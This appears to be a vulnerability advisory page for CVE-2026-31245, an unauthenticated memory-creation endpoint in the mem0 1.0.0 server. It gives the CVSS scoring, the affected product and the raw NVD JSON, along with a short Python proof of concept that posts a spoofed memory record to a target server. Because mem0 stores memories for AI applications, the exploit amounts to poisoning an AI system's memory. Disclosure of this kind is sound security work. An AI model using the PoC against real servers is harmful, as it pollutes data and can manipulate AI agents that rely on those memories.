Security Vulnerability Report
中文
CVE-2026-31245 CVSS 5.3 MEDIUM

CVE-2026-31245

Published: 2026-05-12 18:16:53
Last Modified: 2026-05-14 18:39:13

Description

The mem0 1.0.0 server lacks authentication and authorization controls for its memory creation API endpoint (POST /memories). The endpoint allows unauthenticated users to submit arbitrary memory records without verifying their identity or permissions. A remote attacker can exploit this by sending unauthenticated POST requests to create malicious or spoofed memory entries in the database, leading to unauthorized data injection and potential data pollution.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mem0:mem0:1.0.0:*:*:*:*:*:*:* - VULNERABLE
mem0 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL # Replace with the actual address of the vulnerable mem0 server target_url = "http://target-ip:port/memories" # Malicious payload to be injected into the database malicious_payload = { "text": "This is a malicious memory entry injected by CVE-2026-31245 PoC.", "user_id": "attacker_controlled_id", "metadata": { "is_malicious": True, "source": "exploit" } } try: # Send unauthenticated POST request to the vulnerable endpoint print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=malicious_payload, timeout=10) # Check if the injection was successful (HTTP 200 or 201 usually indicates success) if response.status_code in [200, 201]: print("[+] Exploit successful! Data injected.") print("[+] Server response:", response.text) else: print(f"[-] Exploit failed or unexpected status code: {response.status_code}") print("[-] Server response:", response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred during the request: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31245", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:53.010", "lastModified": "2026-05-14T18:39:12.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mem0 1.0.0 server lacks authentication and authorization controls for its memory creation API endpoint (POST /memories). The endpoint allows unauthenticated users to submit arbitrary memory records without verifying their identity or permissions. A remote attacker can exploit this by sending unauthenticated POST requests to create malicious or spoofed memory entries in the database, leading to unauthorized data injection and potential data pollution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mem0:mem0:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CBD5639B-9888-4EF9-8E41-CC05DBA4720E"}]}]}], "references": [{"url": "https://github.com/mem0ai/mem0", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2026-31245-35d1e1393188810aab57ff9b49146b05", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}]}}